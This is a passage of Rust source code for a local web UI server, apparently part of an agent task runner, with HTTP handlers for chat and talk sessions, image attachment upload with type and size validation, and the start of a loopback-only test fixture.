3391 let thinking = ui.is_thinking(&chat.id);
3392 ChatView::new(chat, thinking)
3393 })
3394 .collect(),
3395 ))
3396 })
3397 .await
3398}
3399
3400async fn chat_detail(
3401 State(ui): State<Arc<Ui>>,
3402 Path(id): Path<String>,
3403) -> ApiResult<Json<ChatView>> {
3404 blocking(move || {
3405 let id = resolve_chat(&ui.chats, &id)?;
3406 let chat = ui.chats.get(&id)?;
3407 let thinking = ui.is_thinking(&chat.id);
3408 Ok(Json(ChatView::new(chat, thinking)))
3409 })
3410 .await
3411}
3412
3413#[derive(Debug, Default, Deserialize)]
3424#[serde(default)]
3425struct NewChat {
3426 idea: String,
3427 agent: Option<String>,
3428 repo: Option<PathBuf>,
3429 from: Option<String>,
3430}
3431
3432async fn chat_post(
3454 State(ui): State<Arc<Ui>>,
3455 body: std::result::Result<Json<NewChat>, JsonRejection>,
3456) -> ApiResult<impl IntoResponse> {
3457 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3458 if body.idea.trim().is_empty() {
3459 return Err(ApiError::bad_request(
3460 "an interview needs something to interview about",
3461 ));
3462 }
3463
3464 let from = {
3467 let ui = Arc::clone(&ui);
3468 let from_id = body.from.clone();
3469 blocking(move || match from_id {
3470 None => Ok(None),
3471 Some(id) => {
3472 let resolved = resolve_chat(&ui.chats, &id)?;
3473 Ok(Some(ui.chats.get(&resolved)?))
3474 }
3475 })
3476 .await?
3477 };
3478
3479 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
3485 let cfg = {
3486 let repo = repo.clone();
3487 blocking(move || {
3488 Config::discover(&repo, None)
3489 .map(|(cfg, _)| cfg)
3490 .map_err(ApiError::bad_request_from)
3491 })
3492 .await?
3493 };
3494
3495 let mut chat = {
3501 let cfg = cfg.clone();
3502 let idea = body.idea.clone();
3503 let agent = body.agent.clone();
3504 let from = from.clone();
3505 blocking(move || {
3506 chat::build(&cfg, repo, &idea, agent.as_deref(), from.as_ref())
3507 .map_err(ApiError::bad_request_from)
3508 })
3509 .await?
3510 };
3511
3512 let _turn = ui.begin_turn(&chat.id)?;
3520
3521 chat = {
3524 let ui = Arc::clone(&ui);
3525 blocking(move || {
3526 ui.chats.put(&mut chat)?;
3527 Ok(chat)
3528 })
3529 .await?
3530 };
3531 let thinking = ui.is_thinking(&chat.id);
3532 let queued = ChatView::new(chat.clone(), thinking);
3533
3534 let chats = ui.chats.clone();
3535 let id = chat.id.clone();
3536 tokio::spawn(async move {
3537 let _turn = _turn;
3538 if let Err(e) = chat::first_turn(&mut chat, &chats, &cfg, from.as_ref()).await {
3539 tracing::warn!("chat {id} first turn failed: {e:#}");
3543 }
3544 });
3545
3546 Ok((StatusCode::ACCEPTED, Json(queued)))
3550}
3551
3552#[derive(Debug, Default, Deserialize)]
3558#[serde(default, deny_unknown_fields)]
3559struct NewTurn {
3560 text: String,
3561 attachments: Vec<String>,
3562}
3563
3564async fn chat_say(
3590 State(ui): State<Arc<Ui>>,
3591 Path(id): Path<String>,
3592 body: std::result::Result<Json<NewTurn>, JsonRejection>,
3593) -> ApiResult<(StatusCode, Json<ChatView>)> {
3594 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3595 if body.text.trim().is_empty() && body.attachments.is_empty() {
3596 return Err(ApiError::bad_request("say something"));
3597 }
3598
3599 let id = {
3600 let ui = Arc::clone(&ui);
3601 let asked = id.clone();
3602 blocking(move || resolve_chat(&ui.chats, &asked)).await?
3603 };
3604 let _turn = ui.begin_turn(&id)?;
3608
3609 let (chat, cfg) = {
3610 let ui = Arc::clone(&ui);
3611 let id = id.clone();
3612 blocking(move || {
3613 let chat = ui.chats.get(&id)?;
3614 let (cfg, _) = Config::discover(&chat.repo, None)?;
3615 Ok((chat, cfg))
3616 })
3617 .await?
3618 };
3619
3620 let attachments = {
3624 let ui = Arc::clone(&ui);
3625 let id = id.clone();
3626 let ids = body.attachments.clone();
3627 blocking(move || {
3628 ids.into_iter()
3629 .map(|att_id| {
3630 ui.chats.attachment_meta(&id, &att_id)?.ok_or_else(|| {
3631 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
3632 })
3633 })
3634 .collect::<ApiResult<Vec<chat::Attachment>>>()
3635 })
3636 .await?
3637 };
3638
3639 let chats = ui.chats.clone();
3654 let text = {
3655 let mut chat = chat.clone();
3656 let chats = chats.clone();
3657 let said = body.text.clone();
3658 blocking(move || Ok(chat::record(&mut chat, &chats, &said, attachments)?)).await?
3659 };
3660 let mut chat = {
3663 let ui = Arc::clone(&ui);
3664 let id = id.clone();
3665 blocking(move || Ok(ui.chats.get(&id)?)).await?
3666 };
3667 let thinking = ui.is_thinking(&id);
3668 let queued = ChatView::new(chat.clone(), thinking);
3669 tokio::spawn(async move {
3670 let _turn = _turn;
3671 if let Err(e) = chat::respond(&mut chat, &chats, &cfg, &text).await {
3672 tracing::warn!("chat {id} turn failed: {e:#}");
3675 }
3676 });
3677
3678 Ok((StatusCode::ACCEPTED, Json(queued)))
3682}
3683
3684#[derive(Debug, Default, Deserialize)]
3686#[serde(default, deny_unknown_fields)]
3687struct FileDraft {
3688 priority: i32,
3689}
3690
3691async fn chat_file(
3698 State(ui): State<Arc<Ui>>,
3699 Path(id): Path<String>,
3700 body: std::result::Result<Json<FileDraft>, JsonRejection>,
3701) -> ApiResult<Json<serde_json::Value>> {
3702 let body = match body {
3707 Ok(Json(body)) => body,
3708 Err(JsonRejection::MissingJsonContentType(_)) => FileDraft::default(),
3709 Err(e) => return Err(ApiError::bad_request(e.body_text())),
3710 };
3711
3712 blocking(move || {
3713 let id = resolve_chat(&ui.chats, &id)?;
3714 let mut chat = ui.chats.get(&id)?;
3715 if let Err(problems) = chat::draft_problems(&chat) {
3720 return Err(ApiError::bad_request_with(
3721 "the draft is not fileable yet",
3722 problems,
3723 ));
3724 }
3725 let task = chat::file_draft(&mut chat, &ui.chats, &ui.queue, body.priority)?;
3726 Ok(Json(serde_json::json!({ "task": task })))
3727 })
3728 .await
3729}
3730
3731async fn chat_abandon(
3739 State(ui): State<Arc<Ui>>,
3740 Path(id): Path<String>,
3741) -> ApiResult<Json<ChatView>> {
3742 blocking(move || {
3743 let id = resolve_chat(&ui.chats, &id)?;
3744 let mut chat = ui.chats.get(&id)?;
3745 chat::abandon(&mut chat, &ui.chats).map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3746 let thinking = ui.is_thinking(&chat.id);
3747 Ok(Json(ChatView::new(chat, thinking)))
3748 })
3749 .await
3750}
3751
3752fn resolve_chat(store: &Chats, id: &str) -> ApiResult<String> {
3754 pick(store.list().into_iter().map(|c| c.id).collect(), id, "chat")
3755}
3756
3757async fn chat_attachment_post(
3766 State(ui): State<Arc<Ui>>,
3767 Path(id): Path<String>,
3768 headers: HeaderMap,
3769 body: Bytes,
3770) -> ApiResult<(StatusCode, Json<chat::Attachment>)> {
3771 let mime = validate_attachment(&headers, &body)?;
3772 let name = filename_header(&headers);
3773 let data = body.to_vec();
3774 blocking(move || {
3775 let id = resolve_chat(&ui.chats, &id)?;
3776 let att = ui.chats.put_attachment(&id, mime, &name, &data)?;
3777 Ok((StatusCode::CREATED, Json(att)))
3778 })
3779 .await
3780}
3781
3782async fn chat_attachment_get(
3785 State(ui): State<Arc<Ui>>,
3786 Path((id, att)): Path<(String, String)>,
3787) -> ApiResult<Response> {
3788 blocking(move || {
3789 let id = resolve_chat(&ui.chats, &id)?;
3790 let Some((meta, data)) = ui.chats.read_attachment(&id, &att)? else {
3791 return Err(ApiError::not_found(format!(
3792 "chat {id} has no attachment `{att}`"
3793 )));
3794 };
3795 Ok(attachment_response(&meta.mime, data))
3796 })
3797 .await
3798}
3799
3800#[derive(Debug, Serialize)]
3806struct TalkView {
3807 #[serde(flatten)]
3808 talk: Talk,
3809 turn_bodies_md: Vec<Vec<md::Node>>,
3810}
3811
3812impl From<Talk> for TalkView {
3813 fn from(talk: Talk) -> Self {
3814 let turn_bodies_md = talk
3815 .turns
3816 .iter()
3817 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
3818 .collect();
3819 Self {
3820 turn_bodies_md,
3821 talk,
3822 }
3823 }
3824}
3825
3826#[derive(Debug, Serialize)]
3831struct TalkDetailView {
3832 #[serde(flatten)]
3833 view: TalkView,
3834 tasks: Vec<TaskView>,
3835}
3836
3837async fn talks_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TalkView>>> {
3842 blocking(move || {
3843 Ok(Json(
3844 ui.talks.list().into_iter().map(TalkView::from).collect(),
3845 ))
3846 })
3847 .await
3848}
3849
3850#[derive(Debug, Default, Deserialize)]
3856#[serde(default)]
3857struct NewTalk {
3858 agent: Option<String>,
3859 repo: Option<PathBuf>,
3860}
3861
3862async fn talk_post(
3865 State(ui): State<Arc<Ui>>,
3866 body: std::result::Result<Json<NewTalk>, JsonRejection>,
3867) -> ApiResult<impl IntoResponse> {
3868 let body = match body {
3872 Ok(Json(body)) => body,
3873 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
3874 Err(e) => return Err(ApiError::bad_request(e.body_text())),
3875 };
3876 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
3877 let cfg = config_for(&repo).await?;
3878 let view = blocking(move || {
3879 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
3880 Ok(TalkView::from(talk))
3881 })
3882 .await?;
3883 Ok((StatusCode::CREATED, Json(view)))
3884}
3885
3886async fn talk_detail(
3888 State(ui): State<Arc<Ui>>,
3889 Path(id): Path<String>,
3890) -> ApiResult<Json<TalkDetailView>> {
3891 blocking(move || {
3892 let id = resolve_talk(&ui.talks, &id)?;
3893 let talk = ui.talks.get(&id)?;
3894 let tasks = talk::tasks_of(&ui.queue, &talk.id)
3895 .into_iter()
3896 .map(TaskView::from)
3897 .collect();
3898 Ok(Json(TalkDetailView {
3899 view: TalkView::from(talk),
3900 tasks,
3901 }))
3902 })
3903 .await
3904}
3905
3906#[derive(Debug, Default, Deserialize)]
3909#[serde(default, deny_unknown_fields)]
3910struct NewTalkTurn {
3911 text: String,
3912 attachments: Vec<String>,
3913}
3914
3915async fn talk_say(
3927 State(ui): State<Arc<Ui>>,
3928 Path(id): Path<String>,
3929 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
3930) -> ApiResult<(StatusCode, Json<TalkView>)> {
3931 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3932 if body.text.trim().is_empty() && body.attachments.is_empty() {
3933 return Err(ApiError::bad_request("say something"));
3934 }
3935
3936 let id = {
3937 let ui = Arc::clone(&ui);
3938 let asked = id.clone();
3939 blocking(move || resolve_talk(&ui.talks, &asked)).await?
3940 };
3941 let _turn = ui.begin_talk_turn(&id)?;
3945
3946 let (talk, cfg) = {
3947 let ui = Arc::clone(&ui);
3948 let id = id.clone();
3949 blocking(move || {
3950 let talk = ui.talks.get(&id)?;
3951 let (cfg, _) = Config::discover(&talk.repo, None)?;
3952 Ok((talk, cfg))
3953 })
3954 .await?
3955 };
3956
3957 let attachments = {
3959 let ui = Arc::clone(&ui);
3960 let id = id.clone();
3961 let ids = body.attachments.clone();
3962 blocking(move || {
3963 ids.into_iter()
3964 .map(|att_id| {
3965 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
3966 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
3967 })
3968 })
3969 .collect::<ApiResult<Vec<talk::Attachment>>>()
3970 })
3971 .await?
3972 };
3973
3974 let talks = ui.talks.clone();
3975 let text = {
3976 let mut talk = talk.clone();
3977 let talks = talks.clone();
3978 let said = body.text.clone();
3979 blocking(move || Ok(talk::record(&mut talk, &talks, &said, attachments)?)).await?
3980 };
3981 let talk = {
3984 let ui = Arc::clone(&ui);
3985 let id = id.clone();
3986 blocking(move || Ok(ui.talks.get(&id)?)).await?
3987 };
3988 let queued = talk.clone();
3989 tokio::spawn(async move {
3990 let _turn = _turn;
3991 let mut talk = talk;
3992 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
3993 tracing::warn!("talk {id} turn failed: {e:#}");
3996 }
3997 });
3998
3999 Ok((StatusCode::ACCEPTED, Json(TalkView::from(queued))))
4001}
4002
4003async fn talk_close(
4005 State(ui): State<Arc<Ui>>,
4006 Path(id): Path<String>,
4007) -> ApiResult<Json<TalkView>> {
4008 blocking(move || {
4009 let id = resolve_talk(&ui.talks, &id)?;
4010 let mut talk = ui.talks.get(&id)?;
4011 talk::close(&mut talk, &ui.talks)?;
4012 Ok(Json(TalkView::from(talk)))
4013 })
4014 .await
4015}
4016
4017async fn talk_reopen(
4019 State(ui): State<Arc<Ui>>,
4020 Path(id): Path<String>,
4021) -> ApiResult<Json<TalkView>> {
4022 blocking(move || {
4023 let id = resolve_talk(&ui.talks, &id)?;
4024 let mut talk = ui.talks.get(&id)?;
4025 talk::reopen(&mut talk, &ui.talks)?;
4026 Ok(Json(TalkView::from(talk)))
4027 })
4028 .await
4029}
4030
4031async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4041 blocking(move || {
4042 let id = resolve_talk(&ui.talks, &id)?;
4043 ui.talks.remove(&id)?;
4044 Ok(StatusCode::NO_CONTENT)
4045 })
4046 .await
4047}
4048
4049fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
4051 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
4052}
4053
4054fn draft_ids(dir: &FsPath) -> Vec<String> {
4058 let Ok(entries) = std::fs::read_dir(dir) else {
4059 return Vec::new();
4060 };
4061 entries
4062 .flatten()
4063 .filter_map(|entry| {
4064 entry
4065 .file_name()
4066 .to_str()
4067 .and_then(|n| n.strip_suffix(".advisors.json"))
4068 .map(str::to_owned)
4069 })
4070 .collect()
4071}
4072
4073fn resolve_draft(dir: &FsPath, id: &str) -> ApiResult<String> {
4087 pick(draft_ids(dir), id, "draft")
4088}
4089
4090async fn talk_attachment_post(
4094 State(ui): State<Arc<Ui>>,
4095 Path(id): Path<String>,
4096 headers: HeaderMap,
4097 body: Bytes,
4098) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
4099 let mime = validate_attachment(&headers, &body)?;
4100 let name = filename_header(&headers);
4101 let data = body.to_vec();
4102 blocking(move || {
4103 let id = resolve_talk(&ui.talks, &id)?;
4104 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
4105 Ok((StatusCode::CREATED, Json(att)))
4106 })
4107 .await
4108}
4109
4110async fn talk_attachment_get(
4112 State(ui): State<Arc<Ui>>,
4113 Path((id, att)): Path<(String, String)>,
4114) -> ApiResult<Response> {
4115 blocking(move || {
4116 let id = resolve_talk(&ui.talks, &id)?;
4117 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
4118 return Err(ApiError::not_found(format!(
4119 "talk {id} has no attachment `{att}`"
4120 )));
4121 };
4122 Ok(attachment_response(&meta.mime, data))
4123 })
4124 .await
4125}
4126
4127fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
4138 if data.len() > ATTACHMENT_MAX_BYTES {
4139 return Err(ApiError::bad_request(format!(
4140 "attachment is {} bytes, over the {} MiB limit",
4141 data.len(),
4142 ATTACHMENT_MAX_BYTES / (1024 * 1024)
4143 ))
4144 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
4145 }
4146 if data.is_empty() {
4147 return Err(ApiError::bad_request("attachment is empty"));
4148 }
4149 let declared = declared_mime(headers)?;
4150 match sniffed_mime(data) {
4151 Some(sniffed) if sniffed == declared => Ok(declared),
4152 Some(sniffed) => Err(ApiError::bad_request(format!(
4153 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
4154 ))),
4155 None => Err(ApiError::bad_request(
4156 "the file's bytes do not match any accepted image format",
4157 )),
4158 }
4159}
4160
4161fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
4165 let raw = headers
4166 .get(header::CONTENT_TYPE)
4167 .and_then(|v| v.to_str().ok())
4168 .unwrap_or("")
4169 .split(';')
4170 .next()
4171 .unwrap_or("")
4172 .trim()
4173 .to_ascii_lowercase();
4174 ATTACHMENT_MIME_WHITELIST
4175 .iter()
4176 .find(|&&m| m == raw)
4177 .copied()
4178 .ok_or_else(|| {
4179 if raw == "image/svg+xml" {
4180 ApiError::bad_request(
4181 "SVG is not accepted: it can carry active content (e.g. a <script>), \
4182 not just a picture",
4183 )
4184 } else if raw.is_empty() {
4185 ApiError::bad_request("Content-Type is required for an attachment upload")
4186 } else {
4187 ApiError::bad_request(format!(
4188 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
4189 image/gif or image/webp"
4190 ))
4191 }
4192 })
4193}
4194
4195fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
4198 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
4199 Some("image/png")
4200 } else if data.starts_with(b"\xff\xd8\xff") {
4201 Some("image/jpeg")
4202 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
4203 Some("image/gif")
4204 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
4205 Some("image/webp")
4206 } else {
4207 None
4208 }
4209}
4210
4211fn filename_header(headers: &HeaderMap) -> String {
4217 headers
4218 .get(FILENAME_HEADER)
4219 .and_then(|v| v.to_str().ok())
4220 .map(str::trim)
4221 .filter(|s| !s.is_empty())
4222 .unwrap_or("attachment")
4223 .to_owned()
4224}
4225
4226fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
4233 let content_type = ATTACHMENT_MIME_WHITELIST
4234 .iter()
4235 .find(|&&m| m == mime)
4236 .copied()
4237 .unwrap_or("application/octet-stream");
4238 (
4239 [
4240 (header::CONTENT_TYPE, content_type),
4241 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4242 ],
4243 body,
4244 )
4245 .into_response()
4246}
4247
4248async fn config_for(repo: &FsPath) -> ApiResult<Config> {
4256 let repo = repo.to_path_buf();
4257 blocking(move || {
4258 let (cfg, _) = Config::discover(&repo, None)?;
4259 Ok(cfg)
4260 })
4261 .await
4262}
4263
4264fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
4270 let mut hits = ids
4271 .into_iter()
4272 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
4273 match (hits.next(), hits.next()) {
4274 (Some(one), None) => Ok(one),
4275 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
4276 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
4277 "`{prefix}` matches more than one {what}, including {a} and {b}"
4278 ))),
4279 }
4280}
4281
4282#[cfg(test)]
4283mod tests {
4284 use pretty_assertions::assert_eq;
4285 use serde_json::Value;
4286 use tempfile::TempDir;
4287 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
4288
4289 use super::*;
4290 use crate::config::Config;
4291 use crate::queue::{Source, TaskStatus};
4292
4293 struct Fixture {
4299 home: TempDir,
4300 addr: SocketAddr,
4301 }
4302
4303 impl Fixture {
4304 async fn start() -> Self {
4305 Self::with_loop(launch_idle).await
4306 }
4307
4308 async fn with_loop(launch: Launch) -> Self {
4310 let home = TempDir::new().expect("temp home");
4311 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch).await;
4312 Self { home, addr }
4313 }
4314
4315 async fn with_repo(repo: PathBuf) -> Self {
4319 let home = TempDir::new().expect("temp home");
4320 let addr = Self::serve(home.path(), repo, launch_idle).await;
4321 Self { home, addr }
4322 }
4323
4324 async fn serve(home: &FsPath, repo: PathBuf, launch: Launch) -> SocketAddr {
4325 let queue = Queue::at(home.join("queue"));
4326 let runs = home.join("runs");
4327 std::fs::create_dir_all(&runs).expect("runs dir");
4328 let worktrees = home.join("wt").join("magi");
4329 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
4330 let ui = Ui::new(
4331 queue,
4332 Questions::at(home.join("questions")),
4333 Chats::at(home.join("chats")),
4334 Talks::at(home.join("talks")),
4335 runs,
4336 home.to_path_buf(),
4337 repo,
4338 )
4339 .with_worktrees_root(worktrees)
4340 .with_launch(launch);
4341 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
4342 .await
4343 .expect("bind loopback");
4344 let addr = listener.local_addr().expect("local addr");
4345 tokio::spawn(async move {
4346 let _ = axum::serve(listener, ui.router()).await;
4347 });
4348 addr
4349 }
4350
4351 fn queue(&self) -> Queue {
4352 Queue::at(self.home.path().join("queue"))
4353 }
4354
4355 fn questions(&self) -> Questions {
4356 Questions::at(self.home.path().join("questions"))
4357 }
4358
4359 fn chats(&self) -> Chats {
4360 Chats::at(self.home.path().join("chats"))
4361 }
4362
4363 fn talks(&self) -> Talks {
4364 Talks::at(self.home.path().join("talks"))
4365 }
4366
4367 fn runs(&self) -> PathBuf {
4368 self.home.path().join("runs")
4369 }
4370
4371 async fn get(&self, path: &str) -> Res {
4372 request(self.addr, "GET", path, None).await
4373 }
4374
4375 async fn head(&self, path: &str) -> Res {
4380 request(self.addr, "HEAD", path, None).await
4381 }
4382
4383 async fn post(&self, path: &str, body: Option<&str>) -> Res {
4384 request(self.addr, "POST", path, body).await
4385 }
4386
4387 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
4388 request_with(self.addr, "GET", path, None, extra).await
4389 }
4390
4391 async fn delete(&self, path: &str) -> Res {
4392 request(self.addr, "DELETE", path, None).await
4393 }
4394
4395 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
4397 request_bytes(self.addr, path, headers, body).await
4398 }
4399 }
4400
4401 struct Res {
4402 status: u16,
4403 headers: String,
4404 head: String,
4409 body: String,
4410 bytes: Vec<u8>,
4414 }
4415
4416 impl Res {
4417 fn json(&self) -> Value {
4418 serde_json::from_str(&self.body)
4419 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
4420 }
4421
4422 fn header(&self, name: &str) -> Option<&str> {
4424 self.head.lines().find_map(|line| {
4425 let (key, value) = line.split_once(':')?;
4426 key.trim()
4427 .eq_ignore_ascii_case(name)
4428 .then(|| value.trim_start().trim_end_matches('\r'))
4429 })
4430 }
4431 }
4432
4433 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
4436 request_with(addr, method, path, body, &[]).await
4437 }
4438
4439 async fn request_with(
4443 addr: SocketAddr,
4444 method: &str,
4445 path: &str,
4446 body: Option<&str>,
4447 extra: &[(&str, &str)],
4448 ) -> Res {
4449 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
4450 for (name, value) in extra {
4451 head.push_str(&format!("{name}: {value}\r\n"));
4452 }
4453 if let Some(body) = body {
4454 head.push_str("Content-Type: application/json\r\n");
4455 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
4456 }
4457 head.push_str("\r\n");
4458 if let Some(body) = body {
4459 head.push_str(body);
4460 }
4461 let mut socket = tokio::net::TcpStream::connect(addr)
4462 .await
4463 .expect("connect to the test server");
4464 socket
4465 .write_all(head.as_bytes())
4466 .await
4467 .expect("write request");
4468 let mut raw = Vec::new();
4469 socket.read_to_end(&mut raw).await.expect("read response");
4470 let split = raw
4473 .windows(4)
4474 .position(|w| w == b"\r\n\r\n")
4475 .expect("a header block");
4476 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
4477 let bytes = raw[split + 4..].to_vec();
4478 let status = head
4479 .lines()
4480 .next()
4481 .and_then(|line| line.split_whitespace().nth(1))
4482 .and_then(|code| code.parse().ok())
4483 .expect("a status line");
4484 Res {
4485 status,
4486 headers: head.to_lowercase(),
4487 head,
4488 body: String::from_utf8_lossy(&bytes).into_owned(),
4489 bytes,
4490 }
4491 }
4492
4493 async fn request_bytes(
4499 addr: SocketAddr,
4500 path: &str,
4501 headers: &[(&str, &str)],
4502 body: &[u8],
4503 ) -> Res {
4504 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
4505 for (name, value) in headers {
4506 head.push_str(&format!("{name}: {value}\r\n"));
4507 }
4508 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
4509 let mut socket = tokio::net::TcpStream::connect(addr)
4510 .await
4511 .expect("connect to the test server");
4512 socket
4513 .write_all(head.as_bytes())
4514 .await
4515 .expect("write request head");
4516 socket.write_all(body).await.expect("write request body");
4517 let mut raw = Vec::new();
4518 socket.read_to_end(&mut raw).await.expect("read response");
4519 let split = raw
4520 .windows(4)
4521 .position(|w| w == b"\r\n\r\n")
4522 .expect("a header block");
4523 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
4524 let bytes = raw[split + 4..].to_vec();
4525 let status = head
4526 .lines()
4527 .next()
4528 .and_then(|line| line.split_whitespace().nth(1))
4529 .and_then(|code| code.parse().ok())
4530 .expect("a status line");
4531 Res {
4532 status,
4533 headers: head.to_lowercase(),
4534 head,
4535 body: String::from_utf8_lossy(&bytes).into_owned(),
4536 bytes,
4537 }
4538 }
4539
4540 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
4542 let mut state = RunState::new(
4543 PathBuf::from("/repo/magi"),
4544 "main".to_owned(),
4545 "0123456789abcdef".to_owned(),
4546 "Add a web UI\n\nMobile first.".to_owned(),
4547 Config::default(),
4548 );
4549 state.id = id.to_owned();
4550 state.status = status;
4551 let dir = runs.join(id);
4552 std::fs::create_dir_all(&dir).expect("run dir");
4553 std::fs::write(
4554 dir.join("run.json"),
4555 serde_json::to_string_pretty(&state).expect("serialize run"),
4556 )
4557 .expect("write run.json");
4558 }
4559
4560 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
4561 let body = serde_json::json!({
4562 "schema": 1,
4563 "pid": 4242,
4564 "started_at": Timestamp::now().to_string(),
4565 "updated_at": updated_at.to_string(),
4566 "idle": false,
4567 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
4568 "completed": 7,
4569 "polls": 143,
4570 });
4571 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
4572 }
4573
4574 fn launch_idle(
4584 _opts: daemon::Opts,
4585 stop: daemon::Stop,
4586 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
4587 Box::pin(async move {
4588 while !stop.stopped() {
4589 tokio::time::sleep(Duration::from_millis(2)).await;
4590 }
4591 Ok(())
4592 })
4593 }
4594
4595 fn launch_broken(
4598 _opts: daemon::Opts,
4599 _stop: daemon::Stop,
4600 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
4601 Box::pin(async {
4602 Err(anyhow::anyhow!(
4603 "publish the daemon status file: read-only file system"
4604 ))
4605 })
4606 }
4607
4608 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
4615 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
4616
4617 fn launch_knocking_on_the_way_out(
4624 _opts: daemon::Opts,
4625 stop: daemon::Stop,
4626 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
4627 Box::pin(async move {
4628 while !stop.stopped() {
4629 tokio::time::sleep(Duration::from_millis(2)).await;
4630 }
4631 let addr = PARK_KNOCK
4632 .lock()
4633 .expect("park knock")
4634 .expect("the test set an address");
4635 let heard = request(addr, "GET", "/api/health", None).await.status;
4636 *PARK_HEARD.lock().expect("park heard") = Some(heard);
4637 Ok(())
4638 })
4639 }
4640
4641 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
4649 for _ in 0..200 {
4650 let view = fx.get("/api/loop").await.json();
4651 if want(&view) {
4652 return view;
4653 }
4654 tokio::time::sleep(Duration::from_millis(10)).await;
4655 }
4656 panic!(
4657 "the loop never settled: {}",
4658 fx.get("/api/loop").await.json()
4659 );
4660 }
4661
4662 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
4664 let store = fx.questions();
4665 let mut q = Question::new(
4666 "20260902-000000-beef".to_owned(),
4667 "implement".to_owned(),
4668 "impl-A".to_owned(),
4669 summary.to_owned(),
4670 "because it matters".to_owned(),
4671 choices.iter().map(|c| (*c).to_owned()).collect(),
4672 );
4673 store.put(&mut q).expect("put question");
4674 q.id
4675 }
4676
4677 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
4683 let store = fx.questions();
4684 let mut q = Question::new(
4685 "20260902-000000-beef".to_owned(),
4686 "land".to_owned(),
4687 "fix".to_owned(),
4688 "Merge this?".to_owned(),
4689 "the diff is in the panel".to_owned(),
4690 vec!["merge".to_owned(), "hold".to_owned()],
4691 );
4692 let staging = fx.home.path().join("staging");
4695 std::fs::create_dir_all(&staging).expect("staging dir");
4696 let sources: Vec<PathBuf> = assets
4697 .iter()
4698 .map(|(name, bytes)| {
4699 let path = staging.join(name);
4700 std::fs::write(&path, bytes).expect("write staged asset");
4701 path
4702 })
4703 .collect();
4704 store
4705 .put_panel(&mut q, html, &sources)
4706 .expect("write the panel");
4707 store.put(&mut q).expect("put question");
4708 q.id
4709 }
4710
4711 fn interview(fx: &Fixture, id: &str, status: &str, draft: Option<&str>) -> String {
4719 let store = fx.chats();
4720 std::fs::create_dir_all(store.root()).expect("chats dir");
4721 let seat = serde_json::to_value(crate::agent::SeatState::new("plan", "sonnet", 7))
4722 .expect("serialize a seat");
4723 let body = serde_json::json!({
4724 "schema": 1,
4725 "id": id,
4726 "repo": "/repo/magi",
4727 "agent": "sonnet",
4728 "status": status,
4729 "turns": [
4730 { "who": "operator", "body": "rework the config loader",
4731 "at": Timestamp::now().to_string() },
4732 { "who": "agent", "body": "Which part is hurting?",
4733 "at": Timestamp::now().to_string() },
4734 ],
4735 "draft": draft,
4736 "task": Value::Null,
